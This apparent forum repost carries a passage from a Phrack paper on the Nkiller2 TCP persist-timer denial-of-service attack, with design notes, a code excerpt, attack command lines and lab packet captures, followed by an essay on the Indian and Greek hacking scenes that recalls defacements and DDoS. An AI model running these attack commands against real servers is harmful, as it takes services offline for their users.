moves the TCP state to TCP_CLOSE, essentially killing the connection, which will probably be in FIN_WAIT_1 state at that time (the tcp_done function is also called by tcp_write_err() mentioned above). In addition to the above pitfall, the way Netkill works, wastes a lot of bandwidth from both sides, making the attack more noticeable and less efficient. Netkill sends a flurry of syn packets to the victim, waits for the SYNACK and responds by completing the 3way handshake and piggybacking the payload request in the current ACK. Since, any data replies from the victim's user application (usually a web server) will go unanswered, TCP will start retransmitting these packets. These packets, however, are ones that carry a load of data with them, whose size is proportional to the initial window and mss advertised. The minimum amount of data is usually 512 bytes, which given the vast amount of retransmissions that will eventually take place, can lead to network congestion, lost packets and sysadmin red alarms. As we can see, kernel memory exhaustion is not an easily accomplished option in today's operating systems, at least by means of a generic DoS attack. The attack vector has to be adapted to current circumstances. ---- [ 4.2 - Attack Vector Our goal is to perform a generic DoS attack that meets the following criteria: a) The duration of the attack has to be prolonged as long as possible. The TCP Persist Timer exploitation extends the duration to infinity. The only time limits that will take place will be the ones imposed by the userspace application. No resources will be spent on our part to keep any kind of state information from the victim. Any memory resources spent will be O(1), which means regardless of the number of probes we send to the victim, our own memory needs will never surpass a certain initial amount. c) Bandwidth throttling will be kept to a minimum. Traffic congestion has to be avoided if possible. d) The attack has to affect the availability of both the userspace application as well as the kernel, at the extent that this is feasible. To meet requirement 'b', we are going to use a packet-triggering behaviour and the, now old, technique of reverse (or client) syn cookies. Basically, this means that our answers will strictly depend on nothing else other than the packets received from the victim. How is this even possible? We are going to use a series of packet-parsing techniques and craft the packets in such a way that they carry within themselves any information that is needed to make decisions. The general procedure will go like this: - Phase 1. Attacker sends a group of SYN packets to the victim. In the sequence number field, he has encoded a magic number that stems from the cryptographic hash of { destination IP & port, source IP & port } and a secret key. By this way, he can discern if any SYNACK packet he gets, actually corresponds to the SYN packets he just sent. He can accomplish that by comparing the (ACK seq number - 1) of the victim's SYNACK reply with the hash of the same packet's socket quadruple based on the secret key. We subtract 1, since the SYN flag occupies one sequence number as stated by RFC 793. The above technique is known as reverse syn cookies, since they differ from the usual syn cookies which protect from syn flooding, in that they are used from the reverse side, namely the client and not the server. Responsible for the cookie calculation and subsequent encoding is Nkiller2's calc_cookie() function. Now, apart from the sequence number encoding, we are also going to use a nifty facility that TCP provides, as means to our own ends. The TCP Timestamp Option is normally used as another way to estimate the RTT. The option uses two 32bit fields, 'tsval' which is a value that increases monotonically by the TCP timestamp clock and which is filled in by the current sender and 'tsecr' - timestamp echo reply - which is the peer's echoed value as stated in the tsval of the packet to which the current one replies. The host initiating the connection places the option in the first SYN packet, by filling tsval with a value, and zeroing tsecr. Only if the peer replies with a Timestamp in the SYNACK packet, can any future segments keep containing the option. build_timestamp() embeds the timestamp option in the crafted TCP header, while get_timestamp() extracts it from a packet reply. TCP Timestamps Option (TSopt): Kind: 8 Length: 10 bytes +-------+-------+---------------------+---------------------+ |Kind=8 | 10 | TS Value (TSval) |TS Echo Reply (TSecr)| +-------+-------+---------------------+---------------------+ 1 1 4 4 We are going to use the Timestamp option as a means to track time. We will later have to exploit the TCP Persist Timer and eventually answer to some of his probes, but this will have to involve calculating how much time has passed. Consequently, we are going to encode our own system's current time inside the first 'tsval'. In the SYNACK reply that we are going to get, 'tsecr' will reflect that same value. Thus, by subtracting the value placed in the echo reply field from the current system time, we can deduce how much time has passed since our last packet transmission without keeping any stateful information for each probe. We are going to extract and encode timestamp information from every packet hereafter. Timestamps are supported by every modern network stack implementation, so we aren't going to have any trouble dealing with them. - Phase 2. The victim replies with a SYNACK to each of the attacker's initial SYN probes. These kinds of packets are really easy to differentiate between the rest of the ones we will be receiving, since no other packet will have both the SYN flag and the ACK flag set. In addition, as we noted above, we can realize if these packets actually belong to our own probes and not some other connection happening at the same time to the host, by using the reverse syn cookie technique. We have to mention here that under no circumstances should our system's kernel be let to affect any of our connections. Thus, we should take care beforehand to have filtered any traffic destined to or coming from the victim's attacked ports. Having gotten the victim's SYNACK replies, we complete the 3way handshake by sending the ACK required (send_probe: S_SYNACK). We also piggyback the data of the targeted userspace application request. We save bandwidth, time and trouble by adopting a perfectly allowable behaviour. Nothing else exciting happens here. - Phase 3. Now things get a bit more complicated. It is here that the road starts forking depending on the target host's network stack implementation. Nkiller2 uses the notion of virtual states, as I called them, which are a way to differentiate between each unique case by parsing the packet for relevant information. The handler responsible for parsing the victim's replies and deciding the next virtual state is check_replies(). It sets the variable 'state' accordingly and main() can then deduce inside it's main loop the next course of action, essentially by calling the generic send_probe() packet-crafter with the proper state argument and updating some of its own loop variables. First case: the target host sends a pure ACK (meaning a packet with no data), which acknowledges our payload sent in Phase 2. This virtual state is mentioned as S_FDACK (State - First Data Acknowledgment) in the Nkiller2 codebase. Second case: the target host sends the ACK which acknowledged our payload from Phase 2, piggybacked with the first data reply of the userspace application to which we made the request. This usually happens due to the Delayed Acknowledgment functionality according to which, TCP waits some time (class of microseconds) to see if there are any data which it can send along with an ACK. Usually, Linux behaviour follows the first case while *BSD and Windows follow the second. The critical question here is when to send the zero window advertisement. Ideally, we could reply to the first case's pure ACK with an ACK of our own (with the same acknowledgment number as the sequence number in the victim's packet) that advertised a zero window. However, in most cases we won't have that chance, since the victim's TCP will send, immediately after this pure ACK, the first data of the userspace application in a separate segment. Thus, if we advertise a zero window when the opposite TCP has already wrote to the network the first data, we will fail to trigger the Persist Timer as we saw during the analysis in part 3 of this paper. Consequently, we play it safe and choose to ignore the FDACK and wait for the first segment of data to arrive. - Phase 4 This stage also differs from one operating system to another, since it is deeply connected to Phase 3. For every number mentioned from now on, assume that Nkiller's initial window advertisement and mss is 1024. Linux, under normal circumstances, will send two data segments with a minimum amount of 512 bytes each. Additionally, any data segment following the first one, will have the PUSH flag set. On the other hand, *BSD and BSD-derivative implementations will send one bigger data segment of 1024 bytes, without setting the PUSH flag. To be able to take the right decisions for each unique case involved, Nkiller2 will have to be provided with a template number. It is trivial to identify the different network stacks by using already existing tools, so when you are unsure about the target system, either use Nmap's OS fingerprinting capability or at worst, a trial-and-error method. At the moment with only 2 different templates (T_LINUX and T_BSDWIN), Nkiller2 is able to work against a vast amount of systems. In the default template (Linux), Nkiller2 is going to send a zero window advertisement on the ACK of the second segment (which is going to involve acking the first segment as well), while when dealing with BSD or Windows, it will send it on the ACK of the first and only data segment. The resolving between these two cases takes place in send_probe()'s main body in 'case S_DATA_0' (State - Data 0, as in first data packet). - Phase 5 Having successfully sent the zero window packet (regardless of how and when that happened), the target host's TCP will start sending zero probes. This is where we accomplish meeting requirement 'c' - bandwidth waste limitation. Every retransmission that will take place, will involve pure ACKs (Linux) or at maximum 1 byte of data (BSD/Windows). Every zero probe is only 52 bytes long, counting TCP/IP headers and the TCP Timestamp option, in contrast with the size of the retransmission packets (512 + 40 bytes or 1024 + 40 bytes each) that would take place if we had triggered the TCP retransmission timer, as in netkill's case. An interesting issue here is to decide on when is the best time to reply to the zero probes, so that the TCP persist timer is ideally prolonged to last forever with the fewest packets possible. Using the TCP timestamp technique, we can calculate the time elapsed from the moment we sent the zero window advertisement (since that was our last packet and that one's time value will be echoed in 'tsecr') to the moment we got the packet. check_replies() /---------------------------------------------------------------------\ if (get_timestamp(tcp, &tsval, &tsecr)) { if (gettimeofday(&now, NULL) < 0) fatal("Couldn't get time of day\n"); time_elapsed = now.tv_sec - tsecr; if (o.debug) (void) fprintf(stdout, "Time elapsed: %u (sport: %u)\n", time_elapsed, sockinfo.sport); } ... if (ack == calc_ack && (!datalen || datalen == 1) && time_elapsed >= o.probe_interval) { state = S_PROBE; goodone++; break; } \---------------------------------------------------------------------/ Hence, we can decide on whether or not we should send a reply to the current zero probe (S_PROBE), depending on a predetermined rough estimate of the time lapse. We also use this 'probe_interval' value to differentiate between a zero probe and the FDACK, since there are no other packet characteristics, apart from time arrival, that we can take into account in this stateless manner. This phase marks the accomplishment of our 1st goal - prolonging the attack to as much as possible. A graphical representation of the procedure is shown below. Remember that the states are purely virtual. We do not keep any kind of information on our part. (cookie OK) +----------+ SYN -------------> | S_SYNACK | rcv SYNACK +----------+ | ACK SYNACK | send request | | pure ACK +---------+ | ----------------> | S_FDACK | | time_elapsed < +---------+ | probe_interval ignore | got Data | V +----------+ | S_DATA_0 | +----------+ | / \ / \ T_BSDWIN / \ T_LINUX (default) ----------------/ \ --------------- | | | | got Data (PSH) | | ACK(data0) V V ACK(data0) & +----------+ send 0 window | S_DATA_1 | | +----------+ |--------------- ---------------| \ / ACK(data1) & send 0 window \ / \ / \ / |------> time_elapsed >= probe_interval | | | | | V | +---------+ | | S_PROBE | --------> send probe reply | +---------+ | | |--------------------| The only thing that still needs to be answered is to what extent we have achieved goal 'd'. How efficient is the attack really? The answer is, that it depends on what we are attacking. Attacking one userspace application will usually lead to either backlog queue collapse or reaching the maximum allowable number of concurrent accepted connections. In both cases, the availability of the userspace application will drop down to zero and will stay in that condition for a possibly unlimited amount of time. Keep in mind though that robust server applications like Apache have a Timeout of their own, which is independent of TCP's. Quoting from Apache's manual: "The TimeOut directive currently defines the amount of time Apache will wait for three things: 1. The total amount of time it takes to receive a GET request. 2. The amount of time between receipt of TCP packets on a POST or PUT request. 3. The amount of time between ACKs on transmissions of TCP packets in responses." By default, Apache httpd's TimeOut = 300 which means 5 minutes. Following a similar approach, lighttpd's default timeout is about 6 minutes. Even then, as long as the attack cycle continues (Hint: Nkiller's option -n0), there is no hope for any server not protected by a stateful firewall that limits the total number of packets reaching the host (which still won't be enough by itself given the TCP Persist Timer's exploitation). At the same time, useful kernel resources are wasted on the SendQueue of each established connection. However, for kernel memory exhaustion to occur, we will have to perform a concurrent attack at multiple applications (Nkiller2 isn't optimized for this though). By this way, the amount of kernel resources wasted will be proportional to the number of the attacked applications and the amount of successful connections on each of them. Even if one service is brought down temporarily for one reason or another, there will still be the other applications wasting memory with a filled up TCP SendQueue. ---- [ 4.3 Test cases Time for some real world examples. We are going to demonstrate how Nkiller2 exploits the Persist Timer functionality and at the same time point out the different behaviour that is exhibited from a Linux system in contrast with an OpenBSD system. The file requested has to be more than 4.0 Kbytes (experimental value). - Test Case 1. Attacker: 10.0.0.12, Linux 2.6.26 Target: 10.0.0.50, Apache1.3, OpenBSD 4.3 # iptables -A INPUT -s 10.0.0.50 -p tcp --dport 80 -j DROP # iptables -A INPUT -s 10.0.0.50 -p tcp --sport 80 -j DROP # ./nkiller2 -t 10.0.0.50 -p80 -w /file -v -n1 -T1 -P120 -s0 -g Starting Nkiller 2.0 ( http://sock-raw.org ) Probes: 1 Probes per round: 100 Pcap polling time: 100 microseconds Sleep time: 0 microseconds Key: Nkiller31337 Probe interval: 120 seconds Template: BSD | Windows Guardmode on # tcpdump port 80 and host 10.0.0.50 -n 08:55:30.017021 IP 10.0.0.12.40428 > 10.0.0.50.80: S 3456779693: 3456779693(0) win 1024 <timestamp 1232693730 0,nop,nop,mss 1024> 08:55:30.017280 IP 10.0.0.50.80 > 10.0.0.12.40428: S 3072651811: 3072651811(0) ack 3456779694 win 16384 <mss 1460,nop,nop,timestamp 464912143 1232693730> 08:55:30.017461 IP 10.0.0.12.40428 > 10.0.0.50.80: . 1:23(22) ack 1 win 1024 <timestamp 1232693730 464912143,nop,nop> 08:55:30.019288 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1:1013(1012) ack 23 win 17204 <nop,nop,timestamp 464912143 1232693730> 08:55:30.019311 IP 10.0.0.12.40428 > 10.0.0.50.80: . ack 1013 win 0 <timestamp 1232693730 464912143,nop,nop> 08:55:35.009929 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912153 1232693730> 08:55:40.009505 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912163 1232693730> 08:55:45.009056 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912173 1232693730> 08:55:53.008388 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912189 1232693730> 08:56:09.007027 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912221 1232693730> 08:56:41.004286 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912285 1232693730> 08:57:40.999239 IP 10.0.0.50.80 > 10.0.0.12.40428: . 1013:1014(1) ack 23 win 17204 <nop,nop,timestamp 464912405 1232693730> 08:57:40.999910 IP 10.0.0.12.40428 > 10.0.0.50.80: . ack 1013 win 0 <timestamp 1232693860 464912405,nop,nop> ... Notice that OpenBSD transmits httpd's initial data in one segment in which the ACK to our payload is included. Nkiller2 acknowledges that packet, advertising at the same time a zero window. After that, OpenBSD's TCP transmits a zero probe and sets the Persist Timer. After a little more than 120 seconds (57:40 - 55:30), we answer to the Persist Timer's probe. Note that we specified the probe_interval with the option -P120 (approximately 120 seconds). - Test Case 2. Attacker: 10.0.0.12, Linux 2.6.26 Target: 10.0.0.101, Apache2.2.3, Debian "etch" (2.6.18) # iptables -A INPUT -s 10.0.0.101 -p tcp --dport 80 -j DROP # iptables -A INPUT -s 10.0.0.101 -p tcp --sport 80 -j DROP # ./nkiller2 -t 10.0.0.101 -p80 -w /file -n1 -T0 -P50 -s0 -v Starting Nkiller 2.0 ( http://sock-raw.org ) Probes: 1 Probes per round: 100 Pcap polling time: 100 microseconds Sleep time: 0 microseconds Key: Nkiller31337 Probe interval: 50 seconds Template: Linux # tcpdump port 80 and host 10.0.0.101 -n 01:09:33.350783 IP 10.0.0.12.26528 > 10.0.0.101.80: S 3497611066: 3497611066(0) win 1024 <timestamp 1232752173 0,nop,nop,mss 1024> 01:09:33.350893 IP 10.0.0.101.80 > 10.0.0.12.26528: S 2167814821: 2167814821(0) ack 3497611067 win 5792 <mss 1460,nop,nop,timestamp 4294906445 1232752173> 01:09:33.351189 IP 10.0.0.12.26528 > 10.0.0.101.80: . 1:23(22) ack 1 win 1024 <timestamp 1232752173 4294906445,nop,nop> 01:09:33.351308 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294906445 1232752173> 01:09:33.382100 IP 10.0.0.101.80 > 10.0.0.12.26528: . 1:513(512) ack 23 win 5792 <nop,nop,timestamp 4294906452 1232752173> 01:09:33.382138 IP 10.0.0.101.80 > 10.0.0.12.26528: P 513:1025(512) ack 23 win 5792 <nop,nop,timestamp 4294906452 1232752173> 01:09:33.389359 IP 10.0.0.12.26528 > 10.0.0.101.80: . ack 513 win 512 <timestamp 1232752173 4294906452,nop,nop> 01:09:33.389508 IP 10.0.0.12.26528 > 10.0.0.101.80: . ack 1025 win 0 <timestamp 1232752173 4294906452,nop,nop> 01:09:33.590164 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294906505 1232752173> 01:09:33.998135 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294906607 1232752173> 01:09:34.814073 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294906811 1232752173> 01:09:36.445959 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294907219 1232752173> 01:09:39.709739 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294908035 1232752173> 01:09:46.237279 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294909667 1232752173> 01:09:59.292377 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294912931 1232752173> 01:10:25.402550 IP 10.0.0.101.80 > 10.0.0.12.26528: . ack 23 win 5792 <nop,nop,timestamp 4294919459 1232752173> 01:10:25.427760 IP 10.0.0.12.26528 > 10.0.0.101.80: . ack 1024 win 0 <timestamp 1232752225 4294919459,nop,nop> ... Linux first sends a pure ACK (which is ignored by Nkiller2) and then transmits the first 2 data segments (512 bytes each). Nkiller2 waits until both of them arrive and acknowledges them with one zero window ACK packet. Linux then starts sending us zero probes (which have a datalength equal to zero in constrast with *BSD which send 1 byte of data), that go unanswered until about (10:25 - 09:33) 50 seconds pass. - Test Case 'Wreaking Havoc' # nkiller2 -t <target> -p80 -w <path> -n0 -T0 -P100 -s0 -v -N100 -n0: unlimited probes -N100: will send 100 SYN probes per round (a round finishes when we either get a data segment or a zero probe) Use at your own discretion. // VEZI SURSA -- [ 5 - Nkiller2 implementation -- [ 6 - References [1]. netkill - generic remote DoS attack by stanislav shalunov - http://seclists.org/bugtraq/2000/Apr/0152.html [2]. TCP DoS Vulnerabilities by Fabian 'fabs' Yamaguchi - http://www.recurity-labs.com/content/pub/25C3TCPVulnerabilities.pdf [3]. TCP/IP Illustrated vol. 1 - W. Richard Stevens [4]. Linux Kernel Development (Chapter 10 - Timers and Time Management) - Robert Love Additional related material: [5]. Understanding Linux Network Internals (O'reilly) [6]. Understanding the Linux Kernel (O'reilly) [7]. Dave Miller's TCP notes: - http://vger.kernel.org/~davem/tcp_output.html - http://vger.kernel.org/~davem/tcp_skbcb.html [8]. The Design and Implementation of the FreeBSD Operating System --------[ EOF Sursa: http://phrack.org/issues.html?issue=66&id=9#article
-
[Phrack] International scenes ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x10 of 0x10 |=-----------------------------------------------------------------------=| |=----------------------=[ International scenes ]=-----------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ By Various ]=------------------------=| |=------------------------=[ <various@nsa.gov> ]=------------------------=| |=-----------------------------------------------------------------------=| Look at the last Phrack issues. Look at 2010 security CONs. Look at any kind of public activities involving hackers. West Europe, North America, Asia are shining. No need to run an agency to see that and sharing informations with the according scenes is child's play. But what about sharing with other countries? For the 25th birthday of Phrack, we're very proud to present you two oustanding scene philes. One will describe you the hacking scene of the amazing India which can't be ignored anymore on the IT playground. The other one will describe the Greek scene. Yes you've heard of them through blog posts, CONs and even Phrack. You simply didn't pay attention Enjoy the reading of this phile. -- The Phrack Staff --- The Indian Hacking scene Unofficial memoirs of the Desi h4x0rs By anonymous null community member 1. Preamble 2. Introduction 3. Hacker Groups 4. Hacker Cons 5. Memoirs of the underground 6. Future --[ 1 - Preamble Jai Jawan Jai Kissan (no it has nothing to do with the song Jai Ho , just felt like writing something in Hindi). This article is a composition of interviews with/text directly taken from the hackers in the Indian underground (and the above-ground ). If it offends the reader in anyway.........feel free to complain to your mom about it:-P. --[ 2 - Introduction Before I start I must admit that we have been really really late in the hacking scene as a whole. Some say it has to do with the cultural ethos and the prevalent business culture in India, while some propose that Indians culturally have been known as non aggressive & peace loving (Doh! Yeah right..Like the F#@$ing stereotypical dumb Indian characters in hollywood movies) and focus has been on ethical hacking and creation of software to benefit world at large rather than cause destruction. The activities of hacker groups started to emerge with the beginning of year 2K. --[ 3 - Hacker Groups There have been many hacker groups in India since 2k. Some are noted for their notorious behavior. 1. Indian Snakes. Indian snakes was a closed underground community of hackers who were on the top of the scene in the early 2000s. They are also noted for the YAHA worm that they had written. 2. hacking-truths.net (2005-2008) stopped because of personal problems. Restarted in 2010. Activities malware dev/hacking. 3. h4cky0u. It started around 2003 Website: h4cky0u.org. The activities included defacing, exploit dev, botnets etc. It died in 2006 due to some personal differences between the staff. It was reopened as h4ck-y0u, sadly h4ck-y0u also stopped after one year of its existence due to cyber crime activities, financial issues. H4cky0u was started again by an American who went by the handle "Big Boss" and we haven't heard much about it after that. 4. n|u (null security community). It started in 2008 and has spread to 6 cities in India namely Bangalore, Pune, Delhi, Mumbai, Hyderabad and Bhopal. Their activities include vulnerability research, exploit dev, projects, disclosures, nullcon hacker conference. It is more of an OWASP style community sans the limitation of only web app security research. It is also registered with the Govt. Of India as a non-profit organization. 5. Andhra hackers. Started in late 2000s. It is a forum like portal. Activities include sharing security information. 6. ICW (Indian Cyber warriors) is an off-shoot of Andhrahackers and started around 2008. This is a hactivist group with activities including defacing Pakistani websites. 7. Securitytube.net. It is not a group per se. It is a portal that has lots of security videos, question/answer section much like stackoverflow. It was started somewhere around 2008 or 2009. 8. Indishell. It started in 2009. The main guys behind indishell are Lucky, mr. 52, jackh4xor, silentp0sion. It is again a hacktivist group and majorly into defacing pakistani websites. It was recently stopped due to some unknown issues and has re-emerged at the time of writing this article. Activities include defacing websites. 9. ICA (Indian Cyber army) is an off-shoot of Indishell with mostly the same staff as Indishell. It is also a defacer group. Noted for defacing sites including Pakistani ISP national telecommunication corporation pakistan (Defaced page http://www.ntc.net.pk/news.html) 10. Fake ICA. There is yet another ICA (cyberarmy.in) which is announced as fake ICA by the actual ICA group. One glance at the website content tells you that there is some truth to what the actual ICA(indishell) guys and other say and reminds you of the infamous plagiarism cases (Ah! Any Indian h4x0r's favourite topic when they feel like bitching about something ) --[ 4 - Hacker Cons 1. ClubHack. http://clubhack.com The first in the series of hacker cons. It is held in Pune, one of the software hubs in India. It started in 2007 and is running it's 4th edition this dec (2010). 2. nullcon. http://nullcon.net The first community driven hacking conference, organized and managed by null community members. It started this year and the next edition is in Feb 2011. It is held in Goa. The party hub of India. 3. Cocon. http://www.informationsecurityday.com/c0c0n/ 1st edition held in Aug 2010. earlier held as part of information security day. It is held in Cochin. 4. Owasp + Securitybyte Appsec Asia http://securitybyte.org. More of a corporate conference with the suited people around . --[ 5 - Memoirs of the underground - By dot =[ Past.. that's where all the nostalgia and fun lies So it all started sometime during late 2001 when a new variant of Yet Another "Hello World" Application spread rapidly via mostly social engineering mails and Outlook Express invalid MIME type exploit (similar to Klez.?). AV technology was not really matured back then, Kaspersky was not there with its PDM modules or its emulation heuristics, Symantec did not conceived SONAR or its Reputation Technology, it was practically open season for anybody with some programming skills to write and spread a successful worm. But amazingly a very nice and simple HTTP ping module was built into the program which used infected systems to ping (simple GET /) certain government website across the border towards the friendly neighbourhood creating a DDoS condition. News !!! News !! News !!! Cyber War between two countries.. Beware! iNDian sNakes are here !!! Hackers hacking each other's websites. Unicode double escape? Front Page is cool, lg7 (but where is the pass? )? dtspcd? little they knew, early stage script kids playing with public tools and little common sense without basic computer science background. I don't speak for the unknown elites before me who might be able to represent the scene in a much better way than me leaving me to a 1337-wannabe state.. I don't even speak for the Indian Snakes guy(s) who taught me quite a lot during my early days but I think we started quite late. Aleph1 had already written about how to smash the stack, Solar Designer had already found and exploited a heap overflow bug, Format String exploitation technique was also known among multiple circles, the world was filled with 7350*.c.. But fortunately Security Industry was not there yet or at least not so prevalent in this part of the world. We are lucky to be driven by the curiosity hormones to explore the black arts of hacking which ofcourse later turned out to be obvious computer science with a bit of innovation and passion to solve difficult problems. I remember playing with some MSN Trojan to steal passwords, I remember installing Barok in various Cyber Cafes, I remember installing Red Hat 6.2 and feeling elite after I could connect to my dial-up internet and browse the web, infact I remember doing almost everything for being a perfect script kid. I also remember finding myself neglecting everything in life and reading Phrack during all those sleepless nights.. Smashing the stack, Voodoo Malloc Tricks, Once upon a Free.. Then after sometime actually solving PTP/0xbadc0ded exploitation challenges and hanging around with those awesome and nice people in their IRC.. but that was kind of late, a bit surpassed the prime time for ideal initiation. So getting back to the history part, here is how it goes: If you write a worm and leave an e-mail address in messages it drops, you are bound to get a lot of fan/hate mails. It is actually a good methodology to build a community of rebels (??) or oh well people who liked Fight Club I think the creators of Yaha did not initially expected to build a community, their entire purpose was to retaliate to web defacer groups like G-Force, AIC etc. but they actually ended up building a small and highly closed/private community and am happy to have known few of them. Although we had some Israeli friends (hi root, hi dak the privateness of the group actually created a problem, we were starved ! Defacing seemed boring, writing exploits for public vulnerabilities were fun but quite challenging at that time, their weapons were old and obsolete. So we decided to look around and the obvious result was #darknet Haha.. dvdman, nolife and the massive list of ops there. Immediate learning from #darknet was to idle in #phrack as well for possible 0day drops .. Next learning was to read ~el8 and be an anti-establishment, anti-security-industry h4x0r !! Armed with newly made l33t friends and their dropped exploits (yo! we had 0days..) it was time to restart the so called cyber war in retaliation to multiple groups spreading anti-India propaganda via defaced websites.. thus born "Indian Hackers Club" Along with a new group name, an IRC server was created on a box with 128kbps or so ADSL line at a friend's (hi rex) work place (truly BoFH) which later got shifted to a .il server. We began meeting like minded individuals and groups... came across with Cyber Yoddha, Hindustan Hackers Organization (IIT had massive resources for hacking huh? ), Emperor (baap of all h4x0rs? , Nirvana (our own govboi ) and slowly our IRC idlers list grew. Just like any other similar IRC, we began exercising power, control and ego... Ops were considered to be l33t, +v dudes were considered decent and the rest were considered to be wannabe creatures for the operator's show off needs. Then came the day of IIS WebDAV vulnerability: Kralor probably wrote the first public exploit which we took, modified it to support different shellcodes, tested it extensively and developed an internal kiddie friendly version and so began a moderate scale defacing of friendly neighbourhood websites and confrontation with FBH (Federal Bureau of Hackers later turned Federal Black Hats (too much PHC influence?)). Netcraft was used to find suitable targets then instant connect back shells and tftp in the backdoor and defacement page Later I learned FBH guys also used the similar vulnerability to deface Indian websites during that time however they either wrote or managed to obtain a mass rooter version of it. Unfortunately (perceptions change with age though) we didn't really have a lot of CVV2s back then else we could have also used techniques like: buy a shared web space on target box and use kernel exploits (ptrace_kmod fun!) to root and deface for l33t show off. But yes, we would like to laughingly say we pwned r4t's brand new shell server before the h0no guys using trojaned exploits.. err oh well, we pwned a lot of funny people with trojaned/fake exploits. I remember once dec0der @ #ukr (or something i forgot) told me that I change boxes like he change underwares considering I was logging in from brand new boxes every other day. Later on many of us made friends with people at #darknet, #m00, #c/c++ and even some old timers from #phrack. One of the funny moments happened when I was working for an .eu company along with another guy hired by them and after working for a few days I found that guy is dvorak.. and we had a nice laugh. So all in all, during my time, the underground here in India was very small and pretty much a closed group. Although we saw a couple of guys popping up with security forums or websites once in a while we never really interacted too much. We made a lot of friends world wide but the state of underground here during those days was no way significant compared to .eu or .us. =[ The evolution.. Towards sanity The Last Stage of Delirium (LSD-PL) changed many of us! The 5th Argus Hacking challenge, the Solaris LDT bug (reminds me of http://git.kernel.org /?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=dc63b52673d71f9d 49b9d72d263a9f32df18c3ee) exploitation writeup, Win32/Unix Assembly Component Development, JVM Vulnerabilities etc were awesome and inspiring (yea I remember GOBBLES too We decided its time to grow up and learn something real. Enough of (0xc0000000 - blah blah) type local stack overflows, enough of exploitation challenges (PTP was good.. ok!) and thus we created a so called Research Team with a website and a bunch of exploits written for public vulnerabilities. Proving lighthttpd header folding bug to be exploitable was an interesting achievement (Securityfocus initially ranked it as DoS only). Learning about exploitation techniques for NULL pointer dereference kernel bugs from an .eu friend and realizing the obvious sometime before the first public exploit posted on DailyDave list was also something to remember. Goin a bit back in the history, one of us worked on a hobby OS project (based on Bach's Design of Unix OS) which actually made rest of us (at least me) learn a lot and spend a lot of time on websites like osdever.net etc to learn something real, learning to debug an OS kernel was something which helped me solve a lot of problems in later days. Finally reached a state where the Intel Manuals seemed to be useful. Starting from 2005 onwards or so, Security Companies started getting prevalent here, through various contacts an IPS startup contacted many of us for job offers. It was my early college days back then so I could not consider but others went ahead and that was probably the first time many of us learned to go ahead with bigger and better things in life like having a full time security job or in other words hack even when it doesn't makes you happy, although yes much later we learned hacking at workplace on a daily basis is an opportunity which is not easily achievable not just in India but throughout the world... oh I must also mention, by now we learned to use the word "hack" in a bit more "generic" and "abstract" sense =[ Present.. The era of selling out.. Just like anywhere else, Security Industry is pretty much here now. A lot of security startups and moderately matured companies has been developed here working on consultant driven pentesting to security products development etc. Most of the old guys are either working either for some Security company or working as programmers in some software development company. As far as I know, there is no significant underground here although there are people who are pretty much involved in interesting stuff but at a different scale in multinational groups. Web Application Security is so hot these days that I see most of the younger people are focusing totally on Web Application security vulnerabilities without looking into lower level software security. --[ 6 - Future The recent shift in the mind set of some of the Govt. intel agencies towards opening up to the hacker community has brought about a lot of changes in the hacker scene in India. This collaboration is only going to increase the moral of the hacker community and thereby also helping the govt. in it's own way. As I mentioned we started a little late which is applicable for the Govt. as well, but as they say - better late than never. Things have started to pick up and we will see more of intel-hacker collaboration in the future which may prove to be good/bad for some, but yes the intent is to establised cyber warfare strategies and action plans, which we will start to see in the next 5 years. --------------------------------------------------------------------------- An overview of the Greek computer underground, part 1 by two (not really) anonymous G(r)eeks - anonymous_gr@phrack.org --[ Table of contents 1 - Introduction 2 - Present 2.1 - GRHACK 2.2 - Meetings 2.2.1 - 0x375 2.2.2 - AthCon 2.2.3 - 2600 2.3 - Online forums 2.4 - Controversial groups 2.5 - Demo scene 2.6 - Pentesting community 2.7 - Open source related events 2.8 - Academia 3 - Conclusion, what does the future hold 4 - References --[ 1 - Introduction In this brief article we will attempt to give an overview of the current state of the Greek computer underground scene. However, since the strictly underground scene in Greece is very small, we will also include some information about other active IT security related groups and forums. There is a going to be a second part to this article at a future issue in which we will present in detail the past of the underground Greek scene in all its gory glory. Before we continue let's get something out of the way. We know that a lot of people act offended when they hear the words "Greek" and "scene" in the same sentence. They flat out reject that anything is currently happening in the Greek underground and mumble about how much better things were during the past years. We are sure that the exact same behavior exists in the scene of other countries as well. We do not agree with this behavior. Yes, the present Greek "scene" is small, obscure, full of ignorant and incompetent people. But that was also the case in the past. But there were and there are exceptions. If you are part of the scene (Greek or international) you probably know the exceptions. We need to focus more on what is good and try to bring that forward. Yes, that means you too. --[ 2 - Present In this section we will introduce you to the present and recent past of the Greek hacking scene, roughly from 2005 to 2010. We will avoid mentioning nicknames and handles of specific people since we feel that this has led to fragmentation of the scene in the past. Instead we will only mention group names. ----[ 2.1 - GRHACK One of the most interesting things to note about the Greek underground scene, was the fact that although there were plenty of skilled individuals, no one ever tried to unite them. Most of them used to work alone, isolated from the rest. It was obvious that something had to be done to help those individuals come together, exchange ideas, 